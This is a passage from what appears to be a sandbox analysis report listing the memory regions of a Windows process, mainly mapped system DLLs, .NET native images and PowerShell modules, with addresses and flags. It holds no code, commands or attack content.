1873 start_va = 0x720000 end_va = 0x720fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1874 start_va = 0x720000 end_va = 0x726fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1875 start_va = 0x720000 end_va = 0x720fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1876 start_va = 0x720000 end_va = 0x726fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1896 start_va = 0x44b0000 end_va = 0x44effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044b0000" filename = "" Region: id = 1897 start_va = 0x4b60000 end_va = 0x4b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b60000" filename = "" Region: id = 1898 start_va = 0x4cb0000 end_va = 0x4ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004cb0000" filename = "" Region: id = 1899 start_va = 0x4d00000 end_va = 0x4d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d00000" filename = "" Region: id = 1900 start_va = 0x7ef95000 end_va = 0x7ef97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 1901 start_va = 0x7ef98000 end_va = 0x7ef9afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 1915 start_va = 0x6b320000 end_va = 0x6bb39fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.data.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data\\df2dd09ed7c341842a104e1e668f184e\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.data\\df2dd09ed7c341842a104e1e668f184e\\system.data.ni.dll") Region: id = 1917 start_va = 0x6afc0000 end_va = 0x6b313fff monitored = 1 entry_point = 0x6b2f7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1924 start_va = 0x74da0000 end_va = 0x74dd4fff monitored = 0 entry_point = 0x74da145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1925 start_va = 0x75c30000 end_va = 0x75c35fff monitored = 0 entry_point = 0x75c31782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1926 start_va = 0x4d40000 end_va = 0x5090fff monitored = 1 entry_point = 0x5077a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1931 start_va = 0x4d40000 end_va = 0x5090fff monitored = 1 entry_point = 0x5077a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1932 start_va = 0x4d40000 end_va = 0x5090fff monitored = 1 entry_point = 0x5077a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1933 start_va = 0x4d40000 end_va = 0x5090fff monitored = 1 entry_point = 0x5077a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1939 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 1943 start_va = 0x6d630000 end_va = 0x6dda3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\15af16d373cf0528cb74fc73d365fdbf\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\15af16d373cf0528cb74fc73d365fdbf\\system.xml.ni.dll") Region: id = 1946 start_va = 0x71ab0000 end_va = 0x71bdffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\e114780fd3ea5727401c06ea4f22ef35\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.management\\e114780fd3ea5727401c06ea4f22ef35\\system.management.ni.dll") Region: id = 1948 start_va = 0x6ae90000 end_va = 0x6afbbfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dired13b18a9#\\2e76676fbd265f70be92c82bbf76b8e5\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.dired13b18a9#\\2e76676fbd265f70be92c82bbf76b8e5\\system.directoryservices.ni.dll") Region: id = 1950 start_va = 0x74960000 end_va = 0x74962fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 1951 start_va = 0x72180000 end_va = 0x72208fff monitored = 1 entry_point = 0x72181130 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 1956 start_va = 0x770000 end_va = 0x77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 1959 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 1962 start_va = 0x6ae30000 end_va = 0x6ae83fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.P6f792626#\\fbf36f7901fec6a367af3bc05a96b929\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.p6f792626#\\fbf36f7901fec6a367af3bc05a96b929\\microsoft.powershell.security.ni.dll") Region: id = 1969 start_va = 0x49c0000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049c0000" filename = "" Region: id = 1970 start_va = 0x4e50000 end_va = 0x4e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e50000" filename = "" Region: id = 1971 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1976 start_va = 0x6ad70000 end_va = 0x6ae27fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Transactions\\3d760b4a3260a41ef84a3fd866780980\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.transactions\\3d760b4a3260a41ef84a3fd866780980\\system.transactions.ni.dll") Region: id = 1977 start_va = 0x71a60000 end_va = 0x71aabfff monitored = 1 entry_point = 0x71a7fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1982 start_va = 0x4380000 end_va = 0x43cbfff monitored = 1 entry_point = 0x439fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1986 start_va = 0x4380000 end_va = 0x43cbfff monitored = 1 entry_point = 0x439fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1987 start_va = 0x4380000 end_va = 0x43cbfff monitored = 1 entry_point = 0x439fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1988 start_va = 0x4380000 end_va = 0x43cbfff monitored = 1 entry_point = 0x439fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1994 start_va = 0x6ad60000 end_va = 0x6ad67fff monitored = 0 entry_point = 0x6ad610e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 1995 start_va = 0x4450000 end_va = 0x448ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004450000" filename = "" Region: id = 1996 start_va = 0x4bc0000 end_va = 0x4bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004bc0000" filename = "" Region: id = 2005 start_va = 0x71ec0000 end_va = 0x71fc4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\96f7edb07b12303f0ec2595c7f3778c7\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\96f7edb07b12303f0ec2595c7f3778c7\\system.configuration.ni.dll") Region: id = 2006 start_va = 0x4980000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004980000" filename = "" Region: id = 2010 start_va = 0x6ace0000 end_va = 0x6ad5ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.management.infrastructure.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Mf49f6405#\\e3134541fd9904dc895922f5256ef8f3\\Microsoft.Management.Infrastructure.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.mf49f6405#\\e3134541fd9904dc895922f5256ef8f3\\microsoft.management.infrastructure.ni.dll") Region: id = 2015 start_va = 0x6ac90000 end_va = 0x6acd6fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.numerics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Numerics\\e7d6ed984300c7212c6e682c4f730b1e\\System.Numerics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.numerics\\e7d6ed984300c7212c6e682c4f730b1e\\system.numerics.ni.dll") Region: id = 2016 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 2019 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 2022 start_va = 0x9b0000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 2025 start_va = 0x9c0000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 2029 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 2033 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 2035 start_va = 0x3ee0000 end_va = 0x3eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ee0000" filename = "" Region: id = 2039 start_va = 0x3ef0000 end_va = 0x3efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ef0000" filename = "" Region: id = 2041 start_va = 0x3f00000 end_va = 0x3f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 2044 start_va = 0x3f50000 end_va = 0x3f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f50000" filename = "" Region: id = 2046 start_va = 0x3fa0000 end_va = 0x3faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fa0000" filename = "" Region: id = 2051 start_va = 0x4380000 end_va = 0x438ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004380000" filename = "" Region: id = 2054 start_va = 0x4390000 end_va = 0x439ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004390000" filename = "" Region: id = 2055 start_va = 0x6aaf0000 end_va = 0x6ac87fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.csharp.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.CSharp\\f73f48afb5512225dedaee9c88ac5050\\Microsoft.CSharp.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.csharp\\f73f48afb5512225dedaee9c88ac5050\\microsoft.csharp.ni.dll") Region: id = 2060 start_va = 0x43a0000 end_va = 0x43affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043a0000" filename = "" Region: id = 2063 start_va = 0x43b0000 end_va = 0x43bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043b0000" filename = "" Region: id = 2065 start_va = 0x43c0000 end_va = 0x43cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043c0000" filename = "" Region: id = 2067 start_va = 0x43c0000 end_va = 0x43cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043c0000" filename = "" Region: id = 2071 start_va = 0x4450000 end_va = 0x445ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004450000" filename = "" Region: id = 2078 start_va = 0x4d40000 end_va = 0x4d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d40000" filename = "" Region: id = 2079 start_va = 0x4da0000 end_va = 0x572ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004da0000" filename = "" Region: id = 2080 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 2081 start_va = 0x73aa0000 end_va = 0x73b1ffff monitored = 0 entry_point = 0x73ab37c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2082 start_va = 0x5730000 end_va = 0x57bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005730000" filename = "" Region: id = 2085 start_va = 0x57c0000 end_va = 0x589efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000057c0000" filename = "" Region: id = 2096 start_va = 0x4bc0000 end_va = 0x4bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004bc0000" filename = "" Region: id = 2097 start_va = 0x58e0000 end_va = 0x591ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000058e0000" filename = "" Region: id = 2098 start_va = 0x73a90000 end_va = 0x73a9dfff monitored = 0 entry_point = 0x73a91235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2099 start_va = 0x7ef92000 end_va = 0x7ef94fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef92000" filename = "" Region: id = 2106 start_va = 0x58a0000 end_va = 0x58dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000058a0000" filename = "" Region: id = 2107 start_va = 0x5950000 end_va = 0x598ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005950000" filename = "" Region: id = 2108 start_va = 0x7ef8f000 end_va = 0x7ef91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 2109 start_va = 0x4470000 end_va = 0x44affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004470000" filename = "" Region: id = 2110 start_va = 0x59a0000 end_va = 0x59dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000059a0000" filename = "" Region: id = 2111 start_va = 0x7ef8c000 end_va = 0x7ef8efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 2117 start_va = 0x4450000 end_va = 0x445ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004450000" filename = "" Region: id = 2126 start_va = 0x59f0000 end_va = 0x5a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000059f0000" filename = "" Region: id = 2127 start_va = 0x5be0000 end_va = 0x5c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005be0000" filename = "" Region: id = 2128 start_va = 0x7ef89000 end_va = 0x7ef8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef89000" filename = "" Region: id = 2135 start_va = 0x5a80000 end_va = 0x5abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a80000" filename = "" Region: id = 2136 start_va = 0x5b80000 end_va = 0x5bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b80000" filename = "" Region: id = 2137 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 2141 start_va = 0x44f0000 end_va = 0x4500fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000044f0000" filename = "" Region: id = 2147 start_va = 0x4460000 end_va = 0x4461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershellget.psd1" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1") Region: id = 2148 start_va = 0x5c20000 end_va = 0x601ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005c20000" filename = "" Region: id = 2149 start_va = 0x47f0000 end_va = 0x47f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershellget.psd1" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1") Region: id = 2150 start_va = 0x5c20000 end_va = 0x601ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005c20000" filename = "" Region: id = 2159 start_va = 0x5c20000 end_va = 0x5d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c20000" filename = "" Region: id = 2161 start_va = 0x4460000 end_va = 0x4460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.management.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1") Region: id = 2162 start_va = 0x5d20000 end_va = 0x611ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005d20000" filename = "" Region: id = 2163 start_va = 0x47f0000 end_va = 0x47f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.management.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1") Region: id = 2164 start_va = 0x5d20000 end_va = 0x611ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005d20000" filename = "" Region: id = 2179 start_va = 0x5b40000 end_va = 0x5b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b40000" filename = "" Region: id = 2180 start_va = 0x5d80000 end_va = 0x5dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d80000" filename = "" Region: id = 2181 start_va = 0x7ef89000 end_va = 0x7ef8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef89000" filename = "" Region: id = 2183 start_va = 0x6a910000 end_va = 0x6aae6fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pae3498d9#\\ade0afceac1317e3668a9c8086d8d18b\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pae3498d9#\\ade0afceac1317e3668a9c8086d8d18b\\microsoft.powershell.commands.management.ni.dll") Region: id = 2185 start_va = 0x6a8e0000 end_va = 0x6a907fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Confe64a9051#\\1561b93d6d25c4a9c3e2659ab29a5e73\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.confe64a9051#\\1561b93d6d25c4a9c3e2659ab29a5e73\\system.configuration.install.ni.dll") Region: id = 2188 start_va = 0x5a10000 end_va = 0x5a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a10000" filename = "" Region: id = 2189 start_va = 0x5db0000 end_va = 0x5deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005db0000" filename = "" Region: id = 2192 start_va = 0x4460000 end_va = 0x446ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004460000" filename = "" Region: id = 2193 start_va = 0x47f0000 end_va = 0x47fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000047f0000" filename = "" Region: id = 2212 start_va = 0x5b30000 end_va = 0x5b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b30000" filename = "" Region: id = 2213 start_va = 0x5d50000 end_va = 0x5d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d50000" filename = "" Region: id = 2214 start_va = 0x7ef83000 end_va = 0x7ef85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef83000" filename = "" Region: id = 2215 start_va = 0x7ef30000 end_va = 0x7ef7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef30000" filename = "" Region: id = 2216 start_va = 0x7ef20000 end_va = 0x7ef2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef20000" filename = "" Region: id = 2217 start_va = 0x47f0000 end_va = 0x47f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000047f0000" filename = "" Region: id = 2218 start_va = 0x75a70000 end_va = 0x75af2fff monitored = 0 entry_point = 0x75a723d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2219 start_va = 0x4840000 end_va = 0x4840fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004840000" filename = "" Region: id = 2220 start_va = 0x6a8c0000 end_va = 0x6a8d9fff monitored = 0 entry_point = 0x6a8d03d0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll") Region: id = 2221 start_va = 0x6a850000 end_va = 0x6a8b0fff monitored = 0 entry_point = 0x6a88bf40 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\SysWOW64\\wbemcomn2.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn2.dll") Region: id = 2225 start_va = 0x72380000 end_va = 0x72396fff monitored = 0 entry_point = 0x723835fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 2227 start_va = 0x5e10000 end_va = 0x5e4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e10000" filename = "" Region: id = 2228 start_va = 0x5e50000 end_va = 0x5e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e50000" filename = "" Region: id = 2229 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 2230 start_va = 0x6a840000 end_va = 0x6a84afff monitored = 0 entry_point = 0x6a8452a0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 2239 start_va = 0x6a810000 end_va = 0x6a830fff monitored = 1 entry_point = 0x6a8198e0 region_type = mapped_file name = "wminet_utils.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wminet_utils.dll") Region: id = 2245 start_va = 0x4850000 end_va = 0x485ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004850000" filename = "" Region: id = 2247 start_va = 0x4850000 end_va = 0x485ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004850000" filename = "" Region: id = 2250 start_va = 0x4850000 end_va = 0x485ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004850000" filename = "" Region: id = 2613 start_va = 0x6a800000 end_va = 0x6a80efff monitored = 0 entry_point = 0x6a8093d0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 2614 start_va = 0x6a750000 end_va = 0x6a7f5fff monitored = 0 entry_point = 0x6a7ba2f0 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 2616 start_va = 0x6a730000 end_va = 0x6a747fff monitored = 0 entry_point = 0x6a731335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 2622 start_va = 0x59f0000 end_va = 0x5a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000059f0000" filename = "" Region: id = 2623 start_va = 0x5da0000 end_va = 0x5ddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005da0000" filename = "" Region: id = 2624 start_va = 0x5de0000 end_va = 0x5edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005de0000" filename = "" Region: id = 2625 start_va = 0x7ef89000 end_va = 0x7ef8bfff monitored = 1 entry_point = 0x0 region_type = private name = 